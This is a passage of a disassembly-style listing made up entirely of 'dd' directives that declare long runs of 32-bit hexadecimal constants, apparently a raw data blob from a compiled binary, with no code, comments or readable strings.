		dd 4F59A9EBh, 2BB6A7B8h, 97A6813h, 3AF21A64h, 0D05E1D20h
		dd 254F7CA0h, 6AD8F928h, 45262531h, 0BE2B5EF5h,	6B179452h
		dd 0A73169AAh, 25CF328h, 3E944CD9h, 20B247FDh, 84A030EAh
		dd 0FA69A1E3h, 0DCEC3C4Bh, 977CF709h, 7719A602h, 66839A73h
		dd 82A8B151h, 577E80CBh, 5E0FE954h, 0A8094096h,	588F6ABh
		dd 2D161302h, 63F82919h, 8A403086h, 74C8C18Eh, 6584D48h
		dd 0FAD03DF1h, 20CAF776h, 0A910C1CBh, 2A4C48h, 0DB20F5E7h
		dd 2B5BD929h, 806C018Bh, 1B8ABD55h, 0C0971333h,	24824A88h
		dd 120B536Ch, 0B7A3A488h, 1CBC6F12h, 0F0D43201h, 0C56A5B9Eh
		dd 1395FBEAh, 93081304h, 6610F810h, 0E3810182h,	166E0514h
		dd 0ED7C9BEDh, 2CF50404h, 20E0EF36h, 86EE40DCh,	0D4F6E518h
		dd 77F58008h, 94D55C91h, 0B7530107h, 0C8EDB317h, 1675FD83h
		dd 4E3B4CBDh, 0C0CBC4B7h, 0A05E8D6h, 58043D16h,	4C687261h
		dd 8B5FA53Ch, 0BA411533h, 0A35B76CBh, 59DE0Bh, 185009C1h
		dd 8182957Ch, 0C3746B28h, 2B924B47h, 7920F578h,	0B3382ACEh
		dd 0F6003D76h, 7E255D02h, 9FA0CFE9h, 0A8802127h, 7841682Dh
		dd 2E5F8116h, 13A1DDECh, 688D8464h, 0F5A31B77h,	4BB7AA1Ah
		dd 0C2D1025Dh, 6F2955A4h, 0F0FF5085h, 7C12EE5Ch, 20000F86h
		dd 0A1D7E6A0h, 0CCE4801h, 30FE29B1h, 90B786E0h,	48D3F713h
		dd 1F58B083h, 0AB3AE39h, 39D709DAh, 1D43F02h, 0F301CDF4h
		dd 0CEFF75FAh, 26B77E30h, 1BAD86Dh, 874578C5h, 0B90C815Ch
		dd 173C14Fh, 6FFB16Ah, 14820C08h, 25641657h, 0AAC87AFAh
		dd 48BF31BDh, 681085Eh,	6602D0E1h, 34A125Ah, 0B9EB87h
		dd 684DFD9Eh, 30695A4Ah, 5F2EE67Ah, 86E9100Ch, 1E04D34h
		dd 32054807h, 6E560AE4h, 2D01DBF9h, 113F552h, 516076FBh
		dd 0F7927E00h, 2D39D680h, 0EC4BD6F8h, 2CD03DAEh, 0CCFEA4EEh
		dd 0A05AB0ECh, 9A4D3FCh, 4D25A4CDh, 0D264E166h,	88265F0h
		dd 992C1B7Ch, 5527551Ch, 172C34C5h, 2EA8104h, 0E9821CA2h
		dd 0C57D2B50h, 46F92DDFh, 7CEA5A97h, 7398512Ah,	4F17DF20h
		dd 7D11CC5Fh, 8917A9BCh, 0E0D10A00h, 17607835h,	0EB01BBB5h
		dd 0C1FA16D8h, 0D128F0AAh, 0A8C2D821h, 56B96516h, 37E902D8h
		dd 158AA40h, 0E47C2CE8h, 0E8915DF0h, 25712908h,	0BA1225D8h
		dd 4B02751Bh, 621084E5h, 0CD18C052h, 5B1D120Dh,	9852013Ah
		dd 0F068DB15h, 6F185DF5h, 0E424AC28h, 0C049E43Dh, 0FE0CDD0Ch
		dd 0ED5E8378h, 0B79028FFh, 0EF93229Dh, 0FAE1A25Dh, 0C0BB0021h
		dd 6E7ADD6Ah, 0F98B0B25h, 0B090E250h, 9026D1DDh, 78B2933Fh
		dd 41511A10h, 0EEE32F92h, 86738B02h, 6F565826h,	0BA348552h
		dd 55CC99FCh, 4BC1B9A0h, 35BF44C3h, 1BF1E621h, 77CB912Eh
		dd 874EE040h, 5D03BA95h, 3043F6D1h, 0E6CB1017h,	0B7E44FEDh
		dd 1CE1B2AEh, 0CF6AEC80h, 4D6B97F4h, 0B2526B21h, 0D2EAF885h
		dd 0EE1FC2FCh, 0C797D188h, 0BE4160A0h, 8F030991h, 4AFE257h
		dd 0C0026997h, 14E005EEh, 12CCDB17h, 1F83D24Bh,	92E89A1h
		dd 799AE44h, 0C4FC8955h, 0F9E57FECh, 8685C82h, 0C0635C2Fh
		dd 38256D37h, 0E92F6790h, 5069602Eh, 0D0CCBF52h, 5CE72A0h
		dd 0C3896F11h, 0C2DE2984h, 20E5A766h, 0A41D727h, 29935182h
		dd 6A976FDFh, 0ECD95430h, 0BBD4D2D5h, 2E99DC1h,	356DD16Fh
		dd 1BA155Fh, 9079C439h,	6986A76h, 26296009h, 2BDB6856h
		dd 4C27C2BBh, 0D0C0301Dh, 7CCE5A3h, 95151B3Dh, 965CF296h
		dd 2E3D45E0h, 0A27EB28h, 0CB12ABF7h, 7B4223FEh,	3CB05176h
		dd 0A98F2013h, 200AD46Fh, 65504DE8h, 0A09C49DFh, 20C53564h
		dd 68BC4E06h, 6840443Dh, 0EB1EB178h, 51CA5B42h,	0F897B028h
		dd 0B4AF98ABh, 0B55B7B40h, 0EB6077FCh, 2025F8B0h, 10908923h
		dd 5D48BE0Ch, 171A0C04h, 0C4405184h, 25E313Ah, 108C69D6h
		dd 5427AD01h, 5DC31A77h, 23BBC260h, 437263Ah, 306F0FBCh
		dd 6E3E06FBh, 0EF028991h, 0CCB3FD0h, 0D4DE047h,	2E4E2433h
		dd 84E9850Eh, 2B8E5441h, 0E2D26713h, 0B78E40D2h, 56A43A12h
		dd 0EF0535BFh, 0FEA28806h, 60D4ECFBh, 0B5C671A3h, 5C6FFB57h
		dd 1AEE0F52h, 0D465DD10h, 44596884h, 0C22F3A8Dh, 90C23F03h
		dd 57C99740h, 628F0B09h, 816BF441h, 6BEF4004h, 0DADF2589h
		dd 5F526BD4h, 59ECB100h, 5A9E0F24h, 0A616C5C0h,	78BF90DBh
		dd 0E1EFC98Fh, 4308C6D4h, 695C2F7Ch, 1065268Ch,	0FED801F6h
		dd 4100CC8h, 2905F56Bh,	0C9EB0E5Ah, 0C740C7Ch, 0D4112DCh
		dd 623A531h, 1482DC08h,	8DEA6BD5h, 0B5EA22D7h, 0BA203602h
		dd 8D9DF67Eh, 8CD10BE8h, 0E98CF7ACh, 11E605C3h,	0B45E3092h
		dd 9640B71Fh, 7565BF5Ah, 0ED155280h, 4E25683Bh,	0EBF58C05h
		dd 4ECB4800h, 5308EDC1h, 0F6516450h, 0B30F1EC2h, 4ADD8FE0h
		dd 53B78E4h, 79B615C9h,	1262D4FEh, 44A3FE08h, 0E027AD90h
		dd 0A0243457h, 0BF7F1C75h, 48E9B671h, 4BA76887h, 9459F906h
		dd 3931006Bh, 736815A1h
		dd 1863BB69h, 95E91B2Dh, 0B114744Ch, 100DA41h, 0E1A059CFh
		dd 0F33C5128h, 81FBA07Ch, 0C1725F08h, 5EA30AD3h, 0F8D5CD2Bh
		dd 9AA8B857h, 73B8F5EDh, 71FA7450h, 94C217C0h, 9506E673h
		dd 2D7C070Ah, 0F1242772h, 7B380D10h, 0D6A14325h, 94355022h
		dd 5DC1C283h, 0E12B758Eh, 0B8176EF8h, 0ED09147Fh, 7D2506CAh
		dd 0ED801356h, 9B1CFE98h, 5366D005h, 88C69A80h,	0DEE92FD3h
		dd 62410B87h, 19F9A311h, 0D9A222Fh, 56467D83h, 4B2F4138h
		dd 63B74EBh, 6CAEB586h,	84978D8Ch, 0BB25A126h, 1830AB1Eh
		dd 6F04AEB2h, 255D9AC6h, 0ADCFE77Eh, 0D089242Dh, 12776F69h
		dd 0B5C2FDBDh, 0F2278A73h, 7E92E41h, 0C338958h,	9827E675h
		dd 3E4E2FDFh, 1EA4BE7Bh, 0B00A6407h, 0B8AA5D34h, 15032E45h
		dd 2CEB3516h, 78B65D6Eh, 7CD7BBC5h, 0AF74FBA1h,	70353F20h
		dd 7DFE973Ch, 0A860557Ah, 1B590468h, 1D3F85C3h,	0BD0D71EFh
		dd 1C004ADh, 485C23A9h,	957DA03Ah, 6889AF7Bh, 0CB25F4ADh
		dd 27F6CEF7h, 0A1609EE9h, 0D2B772B1h, 7E4970D5h, 0DD22DC8h
		dd 0CFCFE2D6h, 5CACF325h, 0CF80EFD6h, 0FE3537B8h, 332D351Dh
		dd 9B1A0B0Bh, 0F4A778F1h, 2FE9D88Ah, 0C5CF1D58h, 0F3FBED68h
		dd 46E3052Bh, 980B3305h, 2F57E07h, 311B289Dh, 5A439BDDh
		dd 198DC02Eh, 0B858DB05h, 76F5206Fh, 85C84F54h,	0EFB6EBEEh
		dd 0E956A460h, 6895B242h, 8237F5DCh, 0CABF2F52h, 0D5C8B99Ch
		dd 0F95B1B28h, 62058488h, 5805E914h, 0FF38A4AFh, 0FA44F795h
		dd 28BBA0EDh, 0C0F4EE36h, 0FE07E609h, 28875CC6h, 3D2DDEB8h
		dd 1CFD9578h, 9FCB9C2h,	56E97741h, 0E3FDA1A3h, 3022708h
		dd 0D631F229h, 5A5B0996h, 0E917D3ACh, 88C4C1E6h, 53F360F9h
		dd 2D89DA40h, 2D425EF1h, 47FCF362h, 75E1E984h, 0A005B1E4h
		dd 262DD1BFh, 82A0CF2h,	3A37E1DFh, 40B0CA74h, 898995Bh
		dd 680027A5h, 7B4761D8h, 0E681395Eh, 518A2F8Dh,	38C44298h
		dd 8855D3CAh, 0BB0AD7F3h, 0E54ED186h, 31FF061Bh, 0A5A4F23Eh
		dd 0F0987C30h, 965ADAE9h, 19ED6342h, 14AC403Dh,	4938944Bh
		dd 0A220D452h, 0DE6816B1h, 0C73CEC60h, 7A61BA52h, 17204C1Dh
		dd 5C3FF81Eh, 63050136h, 0EA62903Ch, 2646BEF1h,	7CE80B24h
		dd 77566524h, 0FCC06026h, 487D74h, 5C6A2505h, 27E10D06h
		dd 254EBA4Ch, 0C297FD0h, 6B0166D6h, 0EB2924D6h,	81695F3h
		dd 0F3BB8264h, 81B19460h, 45151656h, 0E9E1202Fh, 0B0AA4F7Bh
		dd 0FBDE9362h, 0A2EA9F45h, 4BAF5F05h, 7642D358h, 2EA78600h
		dd 6BBD71F4h, 0E24EBB1Ch, 40095C5Dh, 1D85BE5Eh,	2DD3292Ch
		dd 8587DC4Bh, 37068A68h, 0E878D4B0h, 0A4B80793h, 458FAE57h
		dd 0C7508710h, 0E45889E7h, 2D69F0Eh, 59828A54h,	71506279h
		dd 93986E77h, 0EBE906E3h, 0C2062388h, 2242584Bh, 122B09EAh
		dd 4B0048B2h, 7EB16857h, 0BD001593h, 27A34973h,	2DF50081h
		dd 4D148A01h, 92627CE9h, 0B09FAFFh, 13EDCB04h, 0CE2593F6h
		dd 0C6100A73h, 9E239217h, 2A9B48A1h, 0D004DF7Bh, 8D510325h
		dd 2216DDC0h, 0E9750A97h, 40974EF0h, 70807C85h,	0A2D9B0BDh
		dd 0B9D7091Ah, 0A277AFE9h, 0C05F543Eh, 2422C84Dh, 3E132B6h
		dd 281664C0h, 7D75C6B0h, 183B8D30h, 7CCF6CEFh, 21EE0A78h
		dd 0BDC830Ch, 80735EF7h, 8BA94F0Ch, 60A00BEFh, 0A87F25AEh
		dd 5D1508BAh, 8D9DD773h, 0E212BA2Fh, 1619CFFFh,	67889984h
		dd 9CB71353h, 1D811651h, 3CCA1096h, 257CCC5Ah, 5BB75659h
		dd 71E150A2h, 2148D32Ch, 8EEB13F4h, 2954B84Fh, 0AC57D08h
		dd 34055800h, 0B872D165h, 44673050h, 5FEFC2F9h,	0C3E6833h
		dd 51228908h, 6C0A53Eh,	14820C08h, 6FCA5D60h, 37D8AD81h
		dd 0B47CB563h, 0DD982042h, 5C67A871h, 749954F2h, 0FE757A8Fh
		dd 0CDC54034h, 103BBAAh, 2DE9E821h, 0FA2C743Ah,	6A263C37h
		dd 0F3025884h, 929C412h, 0B17E8EB1h, 0C4FE06E9h, 23597670h
		dd 602D1AE2h, 727B9B9Eh, 124298B4h, 0D07FF8E9h,	3BB9B148h
		dd 20043E4Ch, 0FA78B5DCh, 51C56813h, 24333098h,	96FD11Fh
		dd 7B5D74EAh, 95FB22E3h, 0CF68A345h, 0E3805017h, 9E5FFD89h
		dd 5E5D8A51h, 0AE55C49Bh, 0E9B138E8h, 9F4BF3E0h, 0F0C9E6B0h
		dd 497C2620h, 3A050217h, 0C5FF0D23h, 0EF2AD99h,	81ACDE20h
		dd 59E05DBEh, 61AEAA9Eh, 640789D1h, 0D4A5FBD9h,	0E306BA3Ah
		dd 78B94D8h, 7FA405F8h,	905F05CCh, 0ADE95392h, 3127625Bh
		dd 0F9DB2887h, 815714EBh, 917B7718h, 60FB06E5h,	0DF9510C6h
		dd 8853AB10h, 68D8C751h, 0B33D5FB7h, 12155AC2h,	0FC3CC0E9h
		dd 0E4ABD30Eh, 39B4B9C5h, 0E7FA2A35h, 67CDC4D3h, 0CA38CF14h
		dd 7F0D3C01h, 666F4568h, 39900B2h, 499172B3h, 0D174F7h
		dd 70374435h, 711A0D7Bh, 51ED91Dh, 19594140h, 0D310F6E9h
		dd 8603B042h, 0CDDDAD65h, 44BF09BBh, 5F75E983h,	0C1456D90h
		dd 2103E52Ch, 0D5A02B00h, 90EE312Eh, 96E44A01h,	0F302200Dh
		dd 361D02F6h, 7EF2DD09h, 60C8E92Dh, 94FC0808h, 0D4F662DEh
		dd 23D9D4E1h, 346809EDh, 60B07C05h, 2A293CBEh, 0F62F5A7Eh
		dd 0BD71A01h, 0E4CE5EA4h, 0B1EDAB5Ah, 91CAD185h, 3C7D26B0h
		dd 32A7C021h, 5E213130h, 27960FEAh, 0BC3E200Eh,	44CAAECBh
		dd 0BA0B1558h, 0C2784537h, 0CDB382A8h, 832153B7h, 22EB80D3h
		dd 12530637h, 0AFB3E9C1h, 9F388E64h, 1A40EB42h,	7495D607h
		dd 0D10DC938h, 9B4EC892h, 0F9C01B50h, 35627414h, 78CD00D0h
		dd 0BE941D6h, 0F69DC00Ch, 4DA3685h, 0BD2DFA9Fh,	2E5B2A49h
		dd 74301429h, 37480245h, 922BE921h, 0CFA69BD7h,	600A6239h
		dd 3D48D354h, 0D0933573h, 5330BE83h, 4A3A0E60h,	8112BA7Bh
		dd 35F1AB01h, 0EA208732h, 4C979148h, 0E8955A63h, 0A4A67AADh
		dd 3D39E4AEh, 0ACA56217h, 6BE5D808h, 124E85DDh,	0C14A1CADh
		dd 418B07FEh, 9FB15AF3h, 0F82ED47h, 6A2910A4h, 5A0801F3h
		dd 0A531CD01h, 31F327E4h, 1282D14Bh, 0C589012Fh, 0F4EAE260h
		dd 0B7667041h, 7DC9917Ch, 5B7778E8h, 5AD5549Fh,	5909FFF1h
		dd 24407A82h, 9F0AF64Ah, 88B04B93h, 7B74DF4Ah, 0C75BD9C2h
		dd 307E256Bh, 20F84259h, 318EC906h, 0CA101BFDh,	0D690E8B9h
		dd 2AE19757h, 0F6140477h, 4968856Dh, 0AFF812EAh, 0D9D742B2h
		dd 0E91430C8h, 0F9F7FA30h, 2E45A5C1h, 17C865E5h, 0DD8BE89h
		dd 67392568h, 0AF60CF5Eh, 95373662h, 522137Dh, 0B45AED64h
		dd 34E9016Bh, 206F291Ah, 3C0B403Bh, 44751B5h, 0BB0B61B2h
		dd 0C956EECAh, 40222D0Eh, 320540A0h, 39593A27h,	766E2B8Bh
		dd 0FAD8B487h, 1B680507h, 0E949431Ch, 100F53C9h, 413ED80h
		dd 0B9AD9B31h, 0CD8031Ah, 49D50D48h, 4528B713h,	4ED8904h
		dd 0ADD13AC3h, 230A9900h, 30E9F8CDh, 0BA436383h, 4724282Bh
		dd 3E2A441Dh, 500B2CD0h, 65B5A5B1h, 767A0859h, 695E7C25h
		dd 0EF672C84h, 0ED7BBA29h, 0DDFBD2FEh, 282C3DD9h, 1670B651h
		dd 0E9634B06h, 9837A2EDh, 58AFA0C0h, 80C699F3h,	1C48E581h
		dd 3ACE7B85h, 2F0AEEF8h, 257228E9h, 2ED28310h, 89B6500Bh
		dd 754AF5D5h, 8DE07DDh,	0BEA1AB95h, 1B89F3Bh, 68CE015Ch
		dd 875179AAh, 0D157A07Bh, 0F130F967h, 0FACB28A4h, 82905D5Eh
		dd 117F012Fh, 1681D063h, 0E37C13BAh, 1BA2B17h, 1250CBD1h
		dd 0EB2E204Dh, 79076901h, 5BDF8930h, 9246E87Eh,	0D0F08C00h
		dd 0D7E9B109h, 858ABE82h, 77813F2Dh, 0E36EA725h, 0FCC0BFD5h
		dd 1D35D0F7h, 80E7D2BFh
		dd 370CEA81h, 4AB517F2h, 0E9080701h, 68FE68D5h,	7C29E9E5h
		dd 0E5B1D164h, 0DC6A565Bh, 0E910518Ah, 0A5583F42h, 4C203D10h
		dd 0FDD14185h, 18D7EA1Fh, 1C257BE6h, 704F14F1h,	65A5D010h
		dd 2D603048h, 338B9142h, 3A2B207h, 0CB8C23F5h, 0FE358219h
		dd 61530500h, 869A030Eh, 0D8109975h, 2D032E52h,	72189426h
		dd 4316ED1h, 5ECB4DB4h,	0B263BFECh, 2B1C31BFh, 57E7FCh
		dd 0B034D8F6h, 58C738B0h, 8248F927h, 42DC80AEh,	0C75EC4CEh
		dd 6FB36BCCh, 0EB165ABEh, 0D889D009h, 0B5F4AD3h, 4A5DA0F2h
		dd 7D9D40F0h, 0E3DBC092h, 295675AEh, 0AA161690h, 0BC0F6D35h
		dd 90CA42C3h, 77CBCAE4h, 0E1ABE805h, 798A6BD6h,	5A517E10h
		dd 4EAB4A4h, 2D9674A0h,	0B979401h, 13DE5B08h, 0C369FED1h
		dd 13584210h, 540EFD28h, 40C566EFh, 0C883A28Ah,	1FCD2D6Ah
		dd 413BC172h, 9D5A335h,	0E8092F20h, 19138153h, 14A8BC28h
		dd 93A2BE88h, 1374957h,	0B20F105Eh, 826CA944h, 7D962AF6h
		dd 0C3887E79h, 81AD00F5h, 93524BC6h, 53503C13h,	6930F707h
		dd 4BD8E9A3h, 46D3AA55h, 0ABCA9B92h, 0D463FAD1h, 0EFBA0032h
		dd 0C138DD1Eh, 1013E24Ch, 0BE4E80CDh, 57C20230h, 0BE2BE3FFh
		dd 357B0D3Dh, 266CA640h, 5192727Bh, 0FD3C3D8Dh,	86E3317Fh
		dd 31575A1Eh, 6A39656Bh, 0E9E0BEACh, 93B7A999h,	84C8C119h
		dd 8C53367Bh, 600A90BDh, 26B09F5Bh, 7B826E7Eh, 626886E5h
		dd 0A22F6569h, 0A9FC79Ch, 426E888h, 0BF26E956h,	5B070CADh
		dd 0BFEE4AC8h, 0B3644B89h, 30AE4F4Bh, 3035FD7Ah, 0D9F83A5Eh
		dd 32F38107h, 0E98AA3E6h, 51DDF0C2h, 9045891Ch,	0EB087220h
		dd 0DAF4B9FDh, 0F8B3684Eh, 10CC88C4h, 4BD40784h, 0CFB3220Ch
		dd 0B71613BBh, 0A103EB16h, 0B7F4EF80h, 0F00B0735h, 4F9774DCh
		dd 0BB6765C8h, 61405F2Dh, 4AB067F2h, 790EB57h, 8B96FC9h
		dd 981CE95Ah, 9A93DA33h, 0C74A60D8h, 0D7F2453h,	4D6E0F6Dh
		dd 0C077436Bh, 30590173h, 7FC42A06h, 3B60AB1Fh,	4B997118h
		dd 0F009035Bh, 2996255Eh, 7842C185h, 9669FFh, 0F935F767h
		dd 945AD709h, 94AA8248h, 407FA225h, 166B35BAh, 0EC462F3Ch
		dd 0F781015Ah, 413EAEEFh, 5625F8E5h, 51AF907Eh,	4A3A6E68h
		dd 0AF59A6D6h, 70089F02h, 0AD687F40h, 140DA9B3h, 22CF898Ch
		dd 0F11CCh, 0B95125CDh,	342C2D31h, 1BCD89Fh, 8FBB5341h
		dd 2F57441Bh, 0E1024DA8h, 50DC7B06h, 3F14E0E0h,	93C2F250h
		dd 71686740h, 4E32B51Eh, 51E94B68h, 61EF9E5Ah, 0C27B6EBh
		dd 425541EDh, 3DD88276h, 47685F0Bh, 1E84E60Fh, 0EED9353Ch
		dd 0D4400EACh, 20FF0BC9h, 0CFBEFF0h, 0F55B5F6Ah, 0E90800AEh
		dd 0E897111Dh, 97F136ABh, 3EFCA07Fh, 1C47B762h,	53DF142Dh
		dd 5583FF95h, 0C256005Ah, 36B51CCAh, 5064DA29h,	27127EF2h
		dd 6C60A93Eh, 5214E528h, 4FB882B2h, 60B4A807h, 65EC3474h
		dd 24772909h, 0DFD99A7Fh, 0F3890BE5h, 0F2BAE606h, 0E9534F3Ch
		dd 0C318D925h, 841E1D2Eh, 0E3165A68h, 0E638277Fh, 0B1513C81h
		dd 0EA49E992h, 0B982C237h, 0BDBCAAE4h, 9180438h, 75AA2912h
		dd 45F2161Eh, 45866ACh,	0EF5BACA3h, 9930E6CDh, 3A824175h
		dd 574D96CBh, 83A0E9A0h, 0F6314E9Dh, 995449E4h,	9A56F202h
		dd 0B840A621h, 0B60C238Dh, 93B7E93Eh, 72F8BD59h, 0E3B52C70h
		dd 0FF16F219h, 0EDF588C8h, 39506CEEh, 694E73DEh, 0C1682B70h
		dd 49C3967Bh, 28B7A8Ah,	6A2C4F98h, 2539275Ch, 246CF95Eh
		dd 0B0FB1FFBh, 54B7F1A3h, 9206512h, 4FCACCFFh, 6860F698h
		dd 2036ED29h, 29072FD3h, 88099D8h, 960BB850h, 0DD2D8567h
		dd 2AB36C61h, 5D5F550Bh, 665E4B16h, 0A94DEBCCh,	1E7F5F97h
		dd 0B3984B20h, 2DD867A0h, 0C5010BA3h, 17020557h, 0A12069B9h
		dd 7F0E0251h, 0FAE8E93Dh, 0B3C29E7Ch, 0D1C90F6Eh, 1FA65156h
		dd 800D4D09h, 403E1010h, 0DA090930h, 0AAE2525Bh, 7DEAFD00h
		dd 113BA406h, 0A31060D1h, 3FC6F08Eh, 57626368h,	0AC0C7661h
		dd 3A67410Ch, 259CF2E8h, 0F7F9C7E2h, 2A6D68E1h,	0B1A74DBCh
		dd 9DA29CDFh, 0ECE63B77h, 82DCB9BBh, 81093985h,	4CD71672h
		dd 991E33Ah, 18395868h,	9CCEE911h, 72050166h, 7019D554h
		dd 0D0E0259h, 0BF891503h, 0DA661A43h, 0CDBEAC76h, 4033FCCDh
		dd 14C05E5Ah, 0E17CB81h, 4B18BF03h, 8CBF3D3Eh, 0E9B47F82h
		dd 0E35C227Ch, 788F054Fh, 5B0E20AFh, 0C112DD87h, 2E0108E5h
		dd 44E12DF2h, 0E205A531h, 0A88AC909h, 4705F7ACh, 0D101815Eh
		dd 57516CDh, 4F840670h,	0B32DFEB1h, 0C7D4C5FBh,	46E823C4h
		dd 603F1348h, 1224A16h,	0C755084Ah, 0AC0D6B59h,	69699B51h
		dd 5E6D2E10h, 22FA4090h, 0D0335E58h, 5B6BA058h,	75295027h
		dd 0C80BC66h, 7BBF9268h, 9D21200Ch, 0F7895F5Ch,	0C0CD50D7h
		dd 79B5EEDEh, 295AC370h, 55B2B8F8h, 6CA78FE5h, 52A82EF5h
		dd 70F893D5h, 6B9FBA82h, 313B1C09h, 8BF255C2h, 68F55C95h
		dd 0C9BD0391h, 81B3CA61h, 1C78140Bh, 0C5096197h, 44AC0745h
		dd 89C8832Dh, 4F164AF1h, 0D352E20Ah, 200716BAh,	372C443Ah
		dd 0BA0C4E61h, 0C56E795Ch, 0EF73954Ah, 19C0DCh,	0F70D3578h
		dd 734AE9DDh, 30028799h, 5548D161h, 0ABF90B6Bh,	0DE77C22Fh
		dd 53154CBh, 922DAEB2h,	0BD8D6BF8h, 0C1269F5Eh,	295585B9h
		dd 0D4EF2650h, 1C0818F7h, 362578DEh, 4B14FF30h,	4902C138h
		dd 8B259E76h, 0B5F73B7h, 36F5576Ah, 48969F4Dh, 2A0A8A84h
		dd 0C278744Ah, 8BB5DA00h, 950FE987h, 807D3089h,	2A1D2136h
		dd 61E0957Ah, 6FC0F10Bh, 7E656DC7h, 0D8015D35h,	60200841h
		dd 5053BA66h, 5F5AEA53h, 0F1F5BCDBh, 0A3DACA0h,	170CDADEh
		dd 820CF9F5h, 214561D0h, 6320AF89h, 556AA31h, 35329B09h
		dd 0A6EB002Bh, 0B00DAF79h, 0D3F34ABFh, 9813F95h, 6CDD2132h
		dd 74E909EFh, 1147F41h,	2429F2BDh, 53242BDDh, 62611ED9h
		dd 5A909298h, 0B71C4F09h, 68B2845h, 88EA7551h, 0FEFD5F6Ch
		dd 0CC689B48h, 33315162h, 5E5C0259h, 0F8524091h, 0D3B2283Bh
		dd 9734A80Bh, 0DA0F0267h, 1F6ED547h, 0AB2F83B0h, 0D5D4185Dh
		dd 7FE9A230h, 17C5B8A0h, 6448A544h, 42A90786h, 0E1CF01F0h
		dd 3D8C4DEFh, 2F288F30h, 0D4052E64h, 0E1B6FFB2h, 174BE990h
		dd 678BEE6Ch, 0EE84EC59h, 0DF69086h, 6E3D170Ch,	8FBFA532h
		dd 0D4596ABBh, 529E5427h, 47D748E2h, 5834105Ch,	3DAA5ABCh
		dd 8C2ED495h, 0F49622Fh, 597E4B5Ah, 0A5068B25h,	41F0CCC4h
		dd 80246C48h, 11B3592Ah, 0B2CD7521h, 0AC30972Dh, 0EAE4D531h
		dd 7DB1779Dh, 6EA04156h, 7C286F28h, 68F03F01h, 91E822A0h
		dd 5A0A1967h, 0DE1476B2h, 0C2815AC8h, 31DE43CCh, 0C242DA5Eh
		dd 3254080Bh, 4E3D688h,	0AE4F6668h, 52F85ECDh, 0E8A29474h
		dd 0F0814281h, 9EA130Eh, 459A6781h, 43507E77h, 285F4F9Ah
		dd 0FB2E3FA1h, 433F4A69h, 8878C942h, 0A78055EAh, 1DD66E92h
		dd 0E2FA05FFh, 28742065h, 0B512BA52h, 5E8BC856h, 0C74C5F8Fh
		dd 10012C80h, 94B7B95h,	3F9A4F48h, 4A983050h, 0CD484C7Fh
		dd 48EF1AD5h, 84E0750Dh, 199FC8FCh, 0A23B8955h,	2968C7E6h
		dd 0D4C630CBh, 5F7A2D1Bh, 1EA1E690h, 0CD1C530h,	5FB4FD38h
		dd 0BD38AB8Dh, 0AB49D25Ch, 831770E7h, 84D7ECEDh, 0A013B5C2h
		dd 273259ABh, 7C3DB976h, 0DBB5009Ah, 0C07BC580h, 9B04E539h
		dd 0E70D06EDh, 41E0D66h, 0E9EF8882h, 0E7EAC89Eh, 3CAE4AC7h
		dd 6436CF61h, 8A7018C9h
		dd 0B3905E06h, 2CB21627h, 509EDFD1h, 0EE680D84h, 4068EB57h
		dd 0A4B449CAh, 0C54FF25Fh, 0E5FA9BB8h, 3426E10Ah, 0F5904569h
		dd 9D6C270Ch, 1684340Eh, 4D709E3Fh, 2D9DBDE6h, 3F904E89h
		dd 9559C821h, 5EB9A57Dh, 579BE4BEh, 4AF8EAF9h, 82B9D3F6h
		dd 0D5885161h, 0B0592BC8h, 3E7D3869h, 0DD64BB4Bh, 16333BAAh
		dd 63FE0668h, 0FCF4308Dh, 428612F7h, 0E37F260h,	0D2B006Dh
		dd 742777A8h, 5155DA68h, 79E07A12h, 3E2D0058h, 6848D91Fh
		dd 0A6A8350Dh, 92957BF6h, 8C8FFF7Eh, 0B946C4EBh, 0FCB9CC2Ah
		dd 62E3EA1Eh, 54012A52h, 7F9F4D3Dh, 1AA2946Bh, 14101C08h
		dd 852F2D7Eh, 9FE4F23Bh, 0FBAD5EDBh, 5AAF0B22h,	0B70E3D64h
		dd 0A7EF8001h, 43F2CFFEh, 492C7C20h, 50A5D9F5h,	84593EE9h
		dd 0FB967392h, 244D5288h, 27602878h, 0FC785E46h, 0C62C60Bh
		dd 45025D1Ah, 2D0A541Ch, 6D827727h, 9FC25958h, 145C73DFh
		dd 23222F21h, 0B2ECA0C1h, 5C20EB5Dh, 1122B579h,	3A791A48h
		dd 95C9CE9Ch, 3067F218h, 0F7798062h, 0CB09ECABh, 0DCFE01F6h
		dd 70F00CE5h, 49EECA3Fh, 3D8B953h, 0EE651868h, 4A0AEB40h
		dd 0E9FEF147h, 58C232D9h, 0AF20146Ah, 88E212B9h, 108FCC4Ch
		dd 98009FF0h, 0DDF695B5h, 0ADF58013h, 0A5040E08h, 0C181B656h
		dd 8859EF30h, 0C3B6A02Fh, 0C3D9585Ah, 0AA8B63Fh, 0F432F368h
		dd 66C1F989h, 0ECB5A002h, 8109B9D7h, 0C868505Ah, 5C8A6B38h
		dd 727EE90Ah, 0F224BC16h, 0D8288DBCh, 0EBFA151Eh, 0D916AEF2h
		dd 0CF6BD08Bh, 0C4A07F9h, 8CFA13C4h, 7E4B7B58h,	53ED9CBBh
		dd 0F92DBB43h, 0D47D8062h, 51285936h, 3BC221BBh, 0DDFA99C2h
		dd 3CC650F1h, 0C26ECEDFh, 948A0AE7h, 4FFE101h, 58720408h
		dd 97B90194h, 0A02BBE0Bh, 81030245h, 0D004B5C9h, 50F1B03Eh
		dd 55B925A7h, 61E355F0h, 9C3CD0A1h, 3A206161h, 9C89E27Bh
		dd 4D463D6Ah, 7865D7B3h, 0F82A36A1h, 0D8E9E112h, 0F7FE903Fh
		dd 0E82DEA55h, 25495EA6h, 0DD721EF6h, 0D1967151h, 75C8C764h
		dd 0A8F15FF6h, 8608B456h, 67BA001Bh, 893AD566h,	0CAE71B7h
		dd 0EF8DCCE8h, 5C0D920Ch, 189BAE7Ah, 1827CD18h,	2F303CD4h
		dd 86ED0C55h, 89F64C77h, 24D98425h, 0DB44A5BFh,	70050AF6h
		dd 45292E8h, 90BC8C7h, 1BB8F729h, 35051BEAh, 0D601B187h
		dd 0B84E1E8Bh, 0F2EB92EDh, 4B109C99h, 30F9995Fh, 0AE6145A5h
		dd 0D401BD1Ah, 0EED1C7E5h, 0B93A7421h, 8968163Ch, 78A50DB5h
		dd 288697F5h, 161F6428h, 0C182C05Ch, 0C09D07EEh, 105F787Ch
		dd 1689019Ah, 0E8A0BBE9h, 0B01CF809h, 4AA62F7Fh, 0C2BA3C8h
		dd 0FE1AAD2Fh, 0BE2913D7h, 5E2A0880h, 56722EE1h, 0EB5727D1h
		dd 0F41D888Fh, 0B7629521h, 0EC0EC0DAh, 0DF037566h, 0C044AE02h
